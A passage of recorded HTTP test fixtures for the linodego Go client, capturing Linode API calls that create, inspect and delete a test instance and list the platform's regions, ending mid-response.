X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-14h5j35fra8t","root_pass":"7b`1:c}P03`JA2t5fx9t02a!1Kmb#.$Txg\u0026QS7=$T1rX!;Y\u0026VgQAS=8tx\u0026iD857O","image":"linode/debian9","firewall_id":37242,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 25233713, "label": "go-test-ins-14h5j35fra8t", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["143.42.180.166"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "3ea139a93c92b6eda6fa3085f78d8cf2132a9234", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/25233713/disks?page=1 method: GET response: body: '{"data": [{"id": 6312685, "status": "not ready", "label": "Debian 9 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 25088, "disk_encryption": "enabled"}, {"id": 6312686, "status": "not ready", "label": "512 MB Swap Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "swap", "size": 512, "disk_encryption": "enabled"}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/25233713 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_Get.yaml000066400000000000000000001115221474652371000306550ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nz-akl-1", "label": "Auckland, NZ", "country": "nz", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-den-1", "label": "Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-1", "label": "Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-1", "label": "Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-1", "label": "Johannesburg, ZA", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-1", "label": "Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-1", "label": "Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-1", "label": "Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-1", "label": "Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud 